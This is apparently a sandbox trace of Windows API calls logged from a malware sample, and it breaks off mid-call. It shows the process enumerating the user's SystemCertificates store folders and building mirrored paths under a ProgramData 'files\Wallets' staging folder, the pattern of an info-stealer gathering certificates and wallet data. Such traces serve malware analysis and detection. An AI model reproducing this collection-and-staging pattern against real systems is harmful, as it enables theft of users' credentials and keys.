1 [0052.294] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0052.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\" [0052.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\.." [0052.294] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" [0052.294] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\" [0052.294] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\.." [0052.294] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.294] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.294] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.294] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0052.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\" [0052.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="AppContainerUserCertRead" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead" [0052.295] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" [0052.295] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\" [0052.295] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\", lpString2="AppContainerUserCertRead" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead" [0052.295] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.295] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0052.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\" [0052.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="Certificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0052.295] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" [0052.295] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\" [0052.295] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\", lpString2="Certificates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates" [0052.295] lstrcmpW (lpString1="Certificates", lpString2=".") returned 1 [0052.295] lstrcmpW (lpString1="Certificates", lpString2="..") returned 1 [0052.295] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0052.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*.*" [0052.295] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a2c0 [0052.295] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0052.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\" [0052.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\." [0052.295] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates" [0052.295] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates\\" [0052.295] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates\\." [0052.295] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.295] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.295] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" [0052.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\" [0052.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\.." [0052.295] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates" [0052.295] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates\\" [0052.295] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\Certificates\\.." [0052.295] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.295] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.295] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.296] FindClose (in: hFindFile=0x58a2c0 | out: hFindFile=0x58a2c0) returned 1 [0052.296] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.296] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0052.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\" [0052.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CRLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0052.296] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" [0052.296] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\" [0052.296] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\", lpString2="CRLs" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs" [0052.296] lstrcmpW (lpString1="CRLs", lpString2=".") returned 1 [0052.296] lstrcmpW (lpString1="CRLs", lpString2="..") returned 1 [0052.296] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0052.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*.*" [0052.296] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x589e00 [0052.296] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0052.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\" [0052.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\." [0052.296] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs" [0052.296] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs\\" [0052.296] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs\\." [0052.296] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.296] FindNextFileW (in: hFindFile=0x589e00, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.296] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" [0052.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\" [0052.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\.." [0052.296] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs" [0052.296] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs\\" [0052.296] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CRLs\\.." [0052.296] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.296] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.296] FindNextFileW (in: hFindFile=0x589e00, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.296] FindClose (in: hFindFile=0x589e00 | out: hFindFile=0x589e00) returned 1 [0052.297] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.297] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0052.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\" [0052.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="CTLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0052.297] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" [0052.297] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\" [0052.297] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\", lpString2="CTLs" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\CTLs" [0052.297] lstrcmpW (lpString1="CTLs", lpString2=".") returned 1 [0052.297] lstrcmpW (lpString1="CTLs", lpString2="..") returned 1 [0052.297] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" [0052.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*.*" [0052.297] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a4c0 [0052.297] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") 